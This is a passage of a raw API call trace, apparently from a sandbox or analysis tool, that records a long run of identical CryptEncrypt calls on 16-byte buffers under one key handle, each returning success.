pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.268] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.269] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.270] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.271] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.272] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.273] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 